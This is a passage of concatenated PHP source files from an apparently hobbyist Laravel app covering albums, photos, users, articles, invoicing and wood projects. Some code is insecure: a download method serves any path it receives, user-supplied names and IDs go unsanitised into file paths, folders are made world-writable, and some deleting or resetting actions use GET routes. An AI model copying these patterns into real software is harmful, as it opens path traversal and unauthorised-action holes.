Session::flash('success','Album created.'); return redirect()->route('albums.index'); // if ($request->get('action') == 'save') { // // Just save the record // return back()->withInput(); // //redirect(App\Request::url()); // } elseif ($request->get('action') == 'save_and_close') { // // Save the record, and redirect to index // return redirect()->route('albums.index'); // } elseif ($request->get('action') == 'save_and_new') { // // Save the record, and redirect to create // return redirect()->route('albums.create'); // } } ################################################################################################################## # ██╗ ██╗██████╗ ██████╗ █████╗ ████████╗███████╗ # ██║ ██║██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██║██████╔╝██║ ██║███████║ ██║ █████╗ # ██║ ██║██╔═══╝ ██║ ██║██╔══██║ ██║ ██╔══╝ # ╚██████╔╝██║ ██████╔╝██║ ██║ ██║ ███████╗ # ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ // UPDATE :: Update the specified resource in storage ################################################################################################################## public function update(UpdateAlbumRequest $request, $id) { if($request->file('cover_image')) { $album = Album::find($id); // Delete the project cover image and it's thumbnail unlink(public_path('_albums/cover_images/' . $album->cover_image)); unlink(public_path('_albums/cover_images/thumbs/' . $album->cover_image)); // Get the file object $file = $request->file('cover_image'); // Get file name with extension $filenameWithExt = $request->file('cover_image')->getClientOriginalName(); // Get just the filename $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); // Get the extension $extension = $request->file('cover_image')->getClientOriginalExtension(); // Create the new filename $filenameToStore = $filename . '_' . time() . '.' . $extension; //return $filenameToStore; // Check if Gallery/Images folders exists if (!file_exists('_albums/cover_images')) { mkdir('_albums/cover_images', 0777, true); } // move the file to the correct location $file->move('_albums/cover_images', $filenameToStore); // Check if Thumbs folder exists under Images if (!file_exists('_albums/cover_images/thumbs')) { mkdir('_albums/cover_images/thumbs', 0777, true); } // Create thumbnail $thumb = Image::make('_albums/cover_images/' . $filenameToStore) ->resize(240,160) ->save('_albums/cover_images/thumbs/' . $filenameToStore, 60); } $album = Album::findOrFail($id); $album->name = $request->name; $album->description = $request->description; if ($request->file('cover_image')) { $album->cover_image = $filenameToStore; } $album->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") UPDATED article (" . $article->id . ")\r\n", // [json_decode($article, true)] //); Session::flash('success','The album has been updated successfully.'); return redirect()->route('albums.show', $album); } ################################################################################################################## # █████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗ ████████╗ ██████╗ # ██╔══██╗██╔══██╗██╔══██╗ ██╔══██╗██║ ██║██╔═══██╗╚══██╔══╝██╔═══██╗ # ███████║██║ ██║██║ ██║ ██████╔╝███████║██║ ██║ ██║ ██║ ██║ # ██╔══██║██║ ██║██║ ██║ ██╔═══╝ ██╔══██║██║ ██║ ██║ ██║ ██║ # ██║ ██║██████╔╝██████╔╝ ██║ ██║ ██║╚██████╔╝ ██║ ╚██████╔╝ # ╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ // Show the form for creating a new resource ################################################################################################################## public function addPhoto($album_id) { return view('albums.photos.create', compact('album_id')); } ################################################################################################################## # ██████╗ ██████╗ ██╗ ██╗███╗ ██╗██╗ ██████╗ █████╗ ██████╗ # ██╔══██╗██╔═══██╗██║ ██║████╗ ██║██║ ██╔═══██╗██╔══██╗██╔══██╗ # ██║ ██║██║ ██║██║ █╗ ██║██╔██╗ ██║██║ ██║ ██║███████║██║ ██║ # ██║ ██║██║ ██║██║███╗██║██║╚██╗██║██║ ██║ ██║██╔══██║██║ ██║ # ██████╔╝╚██████╔╝╚███╔███╔╝██║ ╚████║███████╗╚██████╔╝██║ ██║██████╔╝ # ╚═════╝ ╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ // Download the specified resource to the local machine -> bypass save as dialog ################################################################################################################## public function download($pathToFile) { return response()->download($pathToFile); } ################################################################################################################## # ███████╗██╗ ██╗ ██████╗ ██╗ ██╗ ██████╗ ██╗ ██╗ ██████╗ ████████╗ ██████╗ # ██╔════╝██║ ██║██╔═══██╗██║ ██║ ██╔══██╗██║ ██║██╔═══██╗╚══██╔══╝██╔═══██╗ # ███████╗███████║██║ ██║██║ █╗ ██║ ██████╔╝███████║██║ ██║ ██║ ██║ ██║ # ╚════██║██╔══██║██║ ██║██║███╗██║ ██╔═══╝ ██╔══██║██║ ██║ ██║ ██║ ██║ # ███████║██║ ██║╚██████╔╝╚███╔███╔╝ ██║ ██║ ██║╚██████╔╝ ██║ ╚██████╔╝ # ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ // Display the specified resource ################################################################################################################## public function showPhoto($id) { $photo = Photo::find($id); return view('albums.photos.show', compact('photo')); } ################################################################################################################## # ███████╗████████╗ ██████╗ ██████╗ ███████╗ ██████╗ ██╗ ██╗ ██████╗ ████████╗ ██████╗ # ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ ██╔══██╗██║ ██║██╔═══██╗╚══██╔══╝██╔═══██╗ # ███████╗ ██║ ██║ ██║██████╔╝█████╗ ██████╔╝███████║██║ ██║ ██║ ██║ ██║ # ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ ██╔═══╝ ██╔══██║██║ ██║ ██║ ██║ ██║ # ███████║ ██║ ╚██████╔╝██║ ██║███████╗ ██║ ██║ ██║╚██████╔╝ ██║ ╚██████╔╝ # ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ // Store a newly created resource in storage ################################################################################################################## public function storePhoto(Request $request) { $this->validate($request, [ 'ori_name' => 'required', 'new_name' => 'image|max:1999' ]); // Get the file object $file = $request->file('photo'); // Get file name with extension $filenameWithExt = $request->file('photo')->getClientOriginalName(); // Get just the filename $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); // Get the extension $extension = $request->file('photo')->getClientOriginalExtension(); // Create the new filename $filenameToStore = $filename . '_' . time() . '.' . $extension; // Upload image // Check if Gallery/Images folders exists if (!file_exists('_albums/images/'.$request->input('album_id'))) { mkdir('_albums/images/' . $request->input('album_id'), 0777, true); } // move the file to the correct location $file->move('_albums/images/' . $request->input('album_id') . "/", $filenameToStore); // Check if Thumbs folder exists under Images if (!file_exists('_albums/images/thumbs/'.$request->input('album_id'))) { mkdir('_albums/images/thumbs/' . $request->input('album_id'), 0777, true); } // Create thumbnail $thumb = Image::make('_albums/images/' . $request->input('album_id') . "/" . $filenameToStore) ->resize(240,160) ->save('_albums/images/thumbs/' . $request->input('album_id') . "/" . $filenameToStore, 60); //Create photo record in DB $photo = new Photo; $photo->album_id = $request->input('album_id'); $photo->ori_name = $request->input('ori_name'); $photo->new_name = $filenameToStore; $photo->size = $request->file('photo')->getClientSize(); $photo->description = $request->input('description'); $photo->save(); Session::flash('success','Photo uploaded.'); return redirect('/albums/'. $request->input('album_id')); } ################################################################################################################## # ██████╗ ███████╗██╗ ███████╗████████╗███████╗ ██████╗ ██╗ ██╗ ██████╗ ████████╗ ██████╗ # ██╔══██╗██╔════╝██║ ██╔════╝╚══██╔══╝██╔════╝ ██╔══██╗██║ ██║██╔═══██╗╚══██╔══╝██╔═══██╗ # ██║ ██║█████╗ ██║ █████╗ ██║ █████╗ ██████╔╝███████║██║ ██║ ██║ ██║ ██║ # ██║ ██║██╔══╝ ██║ ██╔══╝ ██║ ██╔══╝ ██╔═══╝ ██╔══██║██║ ██║ ██║ ██║ ██║ # ██████╔╝███████╗███████╗███████╗ ██║ ███████╗ ██║ ██║ ██║╚██████╔╝ ██║ ╚██████╔╝ # ╚═════╝ ╚══════╝╚══════╝╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ // Remove the specified resource from storage // ???? Used in the index page and trashAll action to soft delete multiple records ################################################################################################################## public function destroyPhoto($id) { $photo = Photo::find($id); unlink(public_path('_albums/images/' . $photo->album->id . "/" . $photo->new_name)); unlink(public_path('_albums/images/thumbs/' . $photo->album->id . "/" . $photo->new_name)); $photo->delete(); // Check if there are any files left in the folder, if not, delete the folder and thumbs folder if (count(glob('_albums/images/' . $photo->album->id . "/*")) === 0 ) { // empty // Delete the IMAGES/THUMBS folder matching the album id File::deleteDirectory(public_path('_albums/images/thumbs/' . $photo->album_id)); // Delete the IMAGES folder matching the album id File::deleteDirectory(public_path('_albums/images/' . $photo->album_id)); } Session::flash('success','Image deleted.'); return redirect(route('albums.show', $photo->album_id)); } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; class InvoiceItem extends Model { protected $table = 'invoiceItems'; protected $dates = ['work_date']; protected $fillable = [ 'invoice_id', 'product_id', 'notes', 'work_date', 'quantity', 'price', 'total' ]; // public function getTotal() { // return $this->price * $this->quantity; // } // An item belongs to an invoice public function invoice() { return $this->belongsTo('App\Invoice'); } public function product() { return $this->belongsTo('App\Product'); } } <file_sep><?php // PROFILE Route::get('profile/pwdChange/{id}', ['uses'=>'ProfileController@pwdChange', 'as'=>'profile.pwdChange']); Route::get('profile/{id?}', ['uses'=>'ProfileController@index', 'as'=>'profile']); Route::get('profile/resetSettings/{id}', ['uses'=>'ProfileController@resetSettings', 'as'=>'profile.resetSettings']); Route::get('profile/deleteImage/{id}', ['uses'=>'ProfileController@deleteImage', 'as'=>'profile.deleteImage']); Route::get('profile/account/{id}', ['uses'=>'ProfileController@acctUpdate', 'as'=>'profile.acctUpdate']); Route::get('profile/settings/{id}', ['uses'=>'ProfileController@settingsUpdate', 'as'=>'profile.settingsUpdate']); Route::put('profile/{id}', ['uses'=>'ProfileController@update', 'as'=>'profile.update']); Route::post('profile/account/{id}', ['uses'=>'ProfileController@updateAcct', 'as'=>'profile.updateAcct']); Route::post('profile/changePassword', ['uses'=>'ProfileController@changePassword', 'as'=>'profile.changePassword']); Route::post('profile/settings/{id}', ['uses'=>'ProfileController@updateSettings', 'as'=>'profile.updateSettings']);<file_sep><?php // FRONTEND PROJECTS Route::get('woodProjects/newWoodProjects', 'WoodProjectsController@newWoodProjects') ->name('woodProjects.newWoodProjects'); Route::get('woodProjects/create', 'WoodProjectsController@create') ->name('woodProjects.create'); Route::get('woodProjects/admin', 'WoodProjectsController@admin') ->name('woodProjects.admin'); Route::get('woodProjects/{id}', 'WoodProjectsController@show') ->name('woodProjects.show'); Route::get('woodProjects/{id}/edit', 'WoodProjectsController@edit') ->name('woodProjects.edit'); Route::get('woodProjects/{pid?}', 'WoodProjectsController@index') ->name('woodProjects.index'); Route::put('woodProjects/{id}', 'WoodProjectsController@update') ->name('woodProjects.update'); Route::post('woodProjects/{id}/storeComment', 'WoodProjectsController@storeComment') ->name('woodProjects.storeComment'); Route::post('woodProjects/store', 'WoodProjectsController@store') ->name('woodProjects.store'); Route::delete('woodProjects/{id}', 'WoodProjectsController@destroy') ->name('woodProjects.destroy'); Route::get('woodProjectImages/create/{project_id}', 'WoodProjectImagesController@create') ->name('woodProjectImages.create'); Route::post('woodProjectImages/store', 'WoodProjectImagesController@store') ->name('woodProjectImages.store'); Route::get('woodProjectImages/{id}', 'WoodProjectImagesController@show') ->name('woodProjectImages.show'); Route::get('woodProjectImages/{id}/manageImages', 'WoodProjectImagesController@index') ->name('woodProjectImages.index'); Route::delete('woodProjectImages/{id}', 'WoodProjectImagesController@destroy') ->name('woodProjectImages.destroy'); // Route::get('woodProjectImage/{id}', ['uses'=>'WoodProjectImagesController@show', 'as'=>'woodProjectImage.show']); // // BACKEND PROJECTS // Route::group(['prefix'=>'backend/woodProjects'], function() // { // $c = 'Backend\WoodProjectsController@'; // $r = 'backend.woodProjects.'; // Route::get('admin', ['uses'=> $c . 'admin', 'as'=> $r . 'admin']); // Route::get('newWoodProjects', ['uses'=> $c . 'newWoodProjects', 'as'=> $r . 'newWoodProjects'] ); // Route::get('', ['uses'=> $c . 'index', 'as'=> $r . 'index']); // Route::get('create', ['uses'=> $c . 'create', 'as'=> $r . 'create']); // Route::post('store', ['uses'=> $c . 'store', 'as'=> $r . 'store']); // Route::get('{id}/edit', ['uses'=> $c . 'edit', 'as'=> $r . 'edit']); // Route::put('{id}', ['uses'=> $c . 'update', 'as'=> $r . 'update']); // Route::get('{id}', ['uses'=> $c . 'show', 'as'=> $r . 'show']); // Route::delete('{id}', ['uses'=> $c . 'destroy', 'as'=> $r . 'delete']); // }); // // PROJECT IMAGES // Route::group(['prefix'=>'backend/woodProjectImages'], function() // { // $c = 'Backend\WoodProjectImagesController@'; // $r = 'backend.woodProjectImage.'; // Route::get('create/{project_id}', ['uses' => $c . 'create', 'as' => $r . 'create']); // Route::post('store', ['uses' => $c . 'store', 'as' => $r . 'store']); // Route::get('{id}', ['uses' => $c . 'show', 'as' => $r . 'show']); // Route::delete('{id}', ['uses' => $c . 'destroy', 'as' => $r . 'delete']); // }); <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class Profile extends Model { use SoftDeletes; public function user() { return $this->belongsTo('App\User'); } public function landingPage () { return $this->belongsTo(Category::class); } // public function scopeTrashed($query) // { // return $query->where('deleted_at', '!=', NULL)->withTrashed(); // } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Auth; //use Charts; use App\Album; use App\Article; use App\Category; use App\Comment; use App\Client; use App\Invoice; use App\InvoiceItem; use App\Module; use App\Post; use App\Product; use App\Recipe; use App\Role; use App\User; use App\WoodProject; class dashboardController extends Controller { ################################################################################################################## # ██████╗ ██████╗ ███╗ ██╗███████╗████████╗██████╗ ██╗ ██╗ ██████╗████████╗ # ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║██╔════╝╚══██╔══╝ # ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ██████╔╝██║ ██║██║ ██║ # ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ██╔══██╗██║ ██║██║ ██║ # ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ██║ ██║╚██████╔╝╚██████╗ ██║ # ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ################################################################################################################## public function __construct() { $this->middleware('auth')->except(['invoicer_dashboard']); //Log::useFiles(storage_path().'/logs/articles.log'); //Log::useFiles(storage_path().'/logs/audits.log'); } ################################################################################################################## # ██╗███╗ ██╗██████╗ ███████╗██╗ ██╗ # ██║████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝ # ██║██╔██╗ ██║██║ ██║█████╗ ╚███╔╝ # ██║██║╚██╗██║██║ ██║██╔══╝ ██╔██╗ # ██║██║ ╚████║██████╔╝███████╗██╔╝ ██╗ # ╚═╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝ // Display a list of resources ################################################################################################################## public function index() { $roles = Role::where('id','<=',70)->orderBy('name','asc')->pluck('display_name','id'); $newAlbums = Album::where('created_at', '>=' , Auth::user()->last_login_date)->get(); $newArticles = Article::with('user')->where('created_at', '>=' , Auth::user()->last_login_date)->get(); $newCategories = Category::where('created_at', '>=' , Auth::user()->last_login_date)->get(); $newComments = Comment::where('created_at', '>=' , Auth::user()->last_login_date)->get(); $newModules = Module::where('created_at', '>=' , Auth::user()->last_login_date)->get(); $newPosts = Post::with('user')->where('created_at', '>=' , Auth::user()->last_login_date)->get(); $newRecipes = Recipe::with('user')->where('created_at', '>=' , Auth::user()->last_login_date)->get(); $newRoles = Role::where('created_at', '>=' , Auth::user()->last_login_date)->get(); $newUsers = User::where('created_at', '>=' , Auth::user()->last_login_date)->get(); $newWoodProjects = WoodProject::where('created_at', '>=' , Auth::user()->last_login_date)->get(); return view('dashboard', compact('newAlbums','newArticles','newCategories','newComments','newModules','newPosts','newRecipes','newRoles','roles','newUsers','newWoodProjects')); } ################################################################################################################## # ██████╗ ██████╗ ███████╗████████╗███████╗ # ██╔══██╗██╔═══██╗██╔════╝╚══██╔══╝██╔════╝ # ██████╔╝██║ ██║███████╗ ██║ ███████╗ # ██╔═══╝ ██║ ██║╚════██║ ██║ ╚════██║ # ██║ ╚██████╔╝███████║ ██║ ███████║ # ╚═╝ ╚═════╝ ╚══════╝ ╚═╝ ╚══════╝ ################################################################################################################## public function posts() { return view('posts.index'); } ################################################################################################################## # ██╗████████╗███████╗███╗ ███╗███████╗ # ██║╚══██╔══╝██╔════╝████╗ ████║██╔════╝ # ██║ ██║ █████╗ ██╔████╔██║███████╗ # ██║ ██║ ██╔══╝ ██║╚██╔╝██║╚════██║ # ██║ ██║ ███████╗██║ ╚═╝ ██║███████║ # ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ################################################################################################################## public function items() { return view('items.index'); } ################################################################################################################## # ██████╗ ███████╗ ██████╗██╗██████╗ ███████╗███████╗ # ██╔══██╗██╔════╝██╔════╝██║██╔══██╗██╔════╝██╔════╝ # ██████╔╝█████╗ ██║ ██║██████╔╝█████╗ ███████╗ # ██╔══██╗██╔══╝ ██║ ██║██╔═══╝ ██╔══╝ ╚════██║ # ██║ ██║███████╗╚██████╗██║██║ ███████╗███████║ # ╚═╝ ╚═╝╚══════╝ ╚═════╝╚═╝╚═╝ ╚══════╝╚══════╝ ################################################################################################################## public function recipes() { return view('recipes.index'); } ################################################################################################################## # ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗████████╗███████╗ # ██╔══██╗██╔══██╗██╔═══██╗██╔══██╗██║ ██║██╔════╝╚══██╔══╝██╔════╝ # ██████╔╝██████╔╝██║ ██║██║ ██║██║ ██║██║ ██║ ███████╗ # ██╔═══╝ ██╔══██╗██║ ██║██║ ██║██║ ██║██║ ██║ ╚════██║ # ██║ ██║ ██║╚██████╔╝██████╔╝╚██████╔╝╚██████╗ ██║ ███████║ # ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝ ################################################################################################################## public function products() { return view('products.index'); } public function invoicer_dashboard() { $clients = Client::all(); $invoices = Invoice::all(); $invoiceItems = InvoiceItem::all(); $products = Product::all(); return view('invoicer.dashboard.index', compact('clients', 'invoices', 'invoiceItems', 'products')); } }<file_sep><?php // GALLERY Route::group(['prefix'=>'backend/gallery'], function() { $c = 'Backend\GalleryController@'; $r = 'backend.gallery.'; Route::get('list', ['uses' => $c . 'viewGalleryList', 'as' => $r . 'list']); Route::post('save', ['uses' => $c . 'saveGallery', 'as' => $r . 'save']); Route::get('view/{id}', ['uses' => $c . 'viewGalleryPics', 'as' => $r . 'view']); Route::post('do-upload', ['uses' => $c . 'doImageUpload', 'as' => $r . 'do-upload']); Route::delete('delete/{id}', ['uses' => $c . 'deleteGallery', 'as' => $r . 'delete']); Route::get('edit/{id}', ['uses' => $c . 'editGallery', 'as' => $r . 'edit']); Route::put('{id}', ['uses' => $c . 'updateGallery', 'as' => $r . 'update']); });<file_sep><?php namespace App; use Illuminate\Notifications\Notifiable; use Illuminate\Foundation\Auth\User as Authenticatable; use Illuminate\Database\Eloquent\SoftDeletes; use App\Profile; use Auth; class User extends Authenticatable { use Notifiable; use SoftDeletes; /** * The attributes that are mass assignable. * * @var array */ protected $fillable = [ 'username', 'email', 'publicEmail', 'password', ]; protected $dates = ['last_login_date']; /** * The attributes that should be hidden for arrays. * * @var array */ protected $hidden = [ 'password', 'remember_token', ]; /** * Always capitalize the first name when we retrieve it */ public function getFirstNameAttribute($value) { return ucfirst($value); } /** * Always capitalize the last name when we retrieve it */ public function getLastNameAttribute($value) { return ucfirst($value); } /** * Always capitalize the first letter of the username when we retrieve it */ public function getUsernameAttribute($value) { return ucfirst($value); } public function profile() { return $this->hasOne('App\Profile')->withTrashed(); } public function role() { return $this->belongsTo('App\Role')->orderBy('name', 'asc'); } public function recipes() { return $this->belongsToMany('App\Recipe'); } public function dartScores() { return $this->belongsToMany('App\DartScore'); } public function dartgames() { return $this->belongsToMany('App\DartGame'); } public function scopeTrashed($query) { return $query->where('deleted_at', '!=', NULL)->withTrashed(); } public function scopeNewUsers($query) { return $query ->where('created_at', '>=' , Auth::user()->last_login_date) //->where('user_id', '=', Auth::user()->id) ->orderBy('username','DESC'); } public function scopeInactiveUsers($query) { return $query ->where('login_count', '=' , 0) //->where('user_id', '=', Auth::user()->id) ->orderBy('username','DESC'); } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; class Dart extends Model { protected $table = "dartgames"; protected $fillable = [ 'type', 't1_players', 't2_players', 'ind_players', 'status' ]; // protected $casts = [ // 'team1players' => 'array', // 'team2players' => 'array' // ]; // public function team1players() // { // return $this->hasMany('App\User'); // } // public function team2players() // { // return $this->hasMany('App\User'); // } public function users() { return $this->belongsToMany('App\User'); } } <file_sep><?php use Illuminate\Database\Seeder; class DatabaseSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { // $this->call(UsersTableSeeder::class); $this->call('RolesTableSeeder'); $this->call('UsersTableSeeder'); $this->call('ModulesTableSeeder'); $this->call('CategoriesTableSeeder'); $this->call('ArticlesTableSeeder'); $this->call(ProfilesTableSeeder::class); $this->call(PostsTableSeeder::class); $this->call(ModulesTableSeeder::class); $this->call(CategoriesTableSeeder::class); $this->call(ArticlesTableSeeder::class); $this->call(ImageWoodprojectTableSeeder::class); $this->call(WoodprojectsTableSeeder::class); $this->call(RecipesTableSeeder::class); $this->call(RecipeUserTableSeeder::class); $this->call(AlbumsTableSeeder::class); $this->call(ArticleUserTableSeeder::class); $this->call(GalleryTableSeeder::class); $this->call(ImagesTableSeeder::class); $this->call(PhotosTableSeeder::class); $this->call(CommentsTableSeeder::class); $this->call(TagsTableSeeder::class); $this->call(PostTagTableSeeder::class); } } <file_sep><?php // USERS Route::group(['prefix'=>'users'], function() { Route::get('trashed', 'UsersController@trashed') ->name('users.trashed'); Route::get('showTrashed/{id}', 'UsersController@showTrashed') ->name('users.showTrashed'); Route::get('restore/{id}', 'UsersController@restore') ->name('users.restore'); Route::get('resetPwd/{id}', 'UsersController@resetPwd') ->name('users.resetPwd'); Route::get('newUsers/{id?}', 'UsersController@newUsers') ->name('users.newUsers'); Route::get('inactiveUsers/{id?}', 'UsersController@inactiveUsers') ->name('users.inactiveUsers'); Route::post('restoreAll', 'UsersController@restoreAll') ->name('users.restoreAll'); Route::post('trashAll', 'UsersController@trashAll') ->name('users.trashAll'); Route::post('deleteAll', 'UsersController@deleteAll') ->name('users.deleteAll'); Route::post('changePassword/{id}', 'UsersController@changePassword') ->name('users.changePassword'); Route::delete('deleteTrashed/{id}', 'UsersController@deleteTrashed') ->name('users.deleteTrashed'); Route::get('create', 'UsersController@create') ->name('users.create'); Route::post('', 'UsersController@store') ->name('users.store'); Route::get('{id}/show', 'UsersController@show') ->name('users.show'); Route::get('{key?}', 'UsersController@index') ->name('users.index'); Route::get('{id}/edit', 'UsersController@edit') ->name('users.edit'); Route::put('{id}', 'UsersController@update') ->name('users.update'); Route::delete('{id}', 'UsersController@destroy') ->name('users.destroy'); }); // Route::resource('users', 'UsersController', ['parameters' => [ // 'index' => 'key' // ]]);<file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; //use OwenIt\Auditing\Auditable; //use OwenIt\Auditing\Contracts\Auditable as AuditableContract; use Auth; use App\Category; use Carbon\Carbon; class Article extends Model // implements AuditableContract { use SoftDeletes; //use Auditable; protected $dates = ['deleted_at', 'published_at']; protected $fillable = [ 'title', 'category_id', 'published_at', 'description_eng', 'description_fre', 'user_id' ]; public function comments() { return $this->morphMany('\App\Comment', 'commentable')->orderBy('id','desc'); } public function user() { return $this->belongsTo('App\User'); } public function category() { return $this->belongsTo('App\Category'); } // Used to display the Add/Remove links if item is in favorite list public function favorites() { return $this->belongsToMany('App\User')->where('user_id','=',Auth::user()->id); } public function scopePublished($query) { return $query->where('published_at', '<', Carbon::now()); } public function scopeMyArticles($query) { return $query->where('user_id', '=', Auth::user()->id)->orderBy('title','DESC'); } public function scopeUnpublished($query) { return $query->whereNull('published_at'); } public function scopeFuture($query) { return $query->where('published_at', '>', Carbon::Now()); } public function scopeTrashed($query) { return $query->whereNotNull('deleted_at')->withTrashed(); } public function scopeTrashedCount($query) { return $query->whereNotNull('deleted_at')->withTrashed(); } public function scopeNewArticles($query) { return $query ->where('created_at', '>=' , Auth::user()->last_login_date) ->orderBy('title','DESC'); } // public function scopeMyFavorites($query) // { // return $query->whereHas('user', function($q) // { // $q->where('user_id', '=', Auth::user()->id); // dd($q); // })->get(); // return $query->wherePivot('article_user', Auth::user()->id); // } } <file_sep><?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateWoodProjectsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('woodprojects', function (Blueprint $table) { $table->increments('id'); $table->integer('category_id')->unsigned(); $table->string('name'); $table->text('description'); $table->string('main_image'); $table->integer('views')->unsigned()->default(0); $table->integer('time_invested')->unsigned()->nullable();; $table->integer('price')->unsigned()->nullable(); $table->string('wood_specie_id')->nullable(); $table->string('wood_type_id')->nullable(); $table->integer('width')->unsigned()->nullable(); $table->integer('depth')->unsigned()->nullable(); $table->integer('height')->unsigned()->nullable(); $table->string('stain_type_id')->nullable(); $table->string('stain_color_id')->nullable(); $table->string('stain_sheen_id')->nullable(); $table->string('finish_type_id')->nullable(); $table->string('finish_sheen_id')->nullable(); $table->integer('weight')->unsigned()->nullable(); $table->timestamps(); $table->dateTime('completed_at')->nullable(); // Add foreign key in the database manually $table->foreign('category_id')->references('id')->on('categories')->onDelete('cascade'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('woodprojects'); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Client; use Config; use Session; class ClientsController extends Controller { public function index() { $clients = Client::sortable() ->orderBy('company_name','asc') ->paginate(Config::get('settings.rowsPerPage')); return view('invoicer.clients.index', compact('clients')); } public function create() { return view('invoicer.clients.create'); } public function store(Request $request) { // validate the data $this->validate($request, array( 'company_name' => 'required', 'contact_name' => 'required', )); // save the data in the database $client = new client; $client->company_name = $request->company_name; $client->contact_name = $request->contact_name; $client->address = $request->address; $client->city = $request->city; $client->state = $request->state; $client->zip = $request->zip; $client->notes = $request->notes; $client->telephone = $request->telephone; $client->cell = $request->cell; $client->fax = $request->fax; $client->email = $request->email; $client->website = $request->website; $client->save(); // set a flash message to be displayed on screen Session::flash('success','The client was successfully saved!'); // redirect to another page return redirect()->route('invoicer.clients.index'); } public function show($id) { $client = Client::findOrFail($id); return view('invoicer.clients.show', compact('client')); } public function edit($id) { $client = Client::findOrFail($id); return view('invoicer.clients.edit', compact('client')); } public function update(Request $request, $id) { // validate the data $this->validate($request, array( 'company_name' => 'required', 'contact_name' => 'required', )); $client = Client::find($id); $client->company_name = $request->company_name; $client->contact_name = $request->contact_name; $client->address = $request->address; $client->city = $request->city; $client->state = $request->state; $client->zip = $request->zip; $client->notes = $request->notes; $client->telephone = $request->telephone; $client->cell = $request->cell; $client->fax = $request->fax; $client->email = $request->email; $client->website = $request->website; $client->save(); // Set flash data with success message Session::flash ('success', 'The client was successfully updated!'); // Redirect return redirect()->route('invoicer.clients.index'); } public function destroy($id) { $client = Client::find($id); $client->delete(); // Set flash data with success message Session::flash('success','The client was deleted successfully.'); // Redirect return redirect()->route('invoicer.clients.index'); } public function search(Request $request) { //dd($request->q); if($request->selection == 'company') { $clients = Client::where('company_name', 'like', '%' . $request->searchWord . '%')->paginate(10); } if($request->selection == 'contact') { $clients = Client::where('contact_name', 'like', '%' . $request->searchWord . '%')->paginate(10); } return view('invoicer.clients.index', compact('clients')); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Category; use App\Comment; use App\WoodProject; use Auth; use DB; use File; use Image; use Route; use Session; use App\Http\Requests\CreateWoodProjectRequest; use App\Http\Requests\UpdateWoodProjectRequest; use App\Http\Requests\CreateCommentRequest; class WoodProjectsController extends Controller { ################################################################################################################## # ██████╗ ██████╗ ███╗ ██╗███████╗████████╗██████╗ ██╗ ██╗ ██████╗████████╗ # ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║██╔════╝╚══██╔══╝ # ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ██████╔╝██║ ██║██║ ██║ # ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ██╔══██╗██║ ██║██║ ██║ # ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ██║ ██║╚██████╔╝╚██████╗ ██║ # ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ################################################################################################################## ################################################################################################################## # █████╗ ██████╗ ███╗ ███╗██╗███╗ ██╗ # ██╔══██╗██╔══██╗████╗ ████║██║████╗ ██║ # ███████║██║ ██║██╔████╔██║██║██╔██╗ ██║ # ██╔══██║██║ ██║██║╚██╔╝██║██║██║╚██╗██║ # ██║ ██║██████╔╝██║ ╚═╝ ██║██║██║ ╚████║ # ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ################################################################################################################## public function admin() { return view('woodProjects.admin.index'); } ################################################################################################################## # ██████╗██████╗ ███████╗ 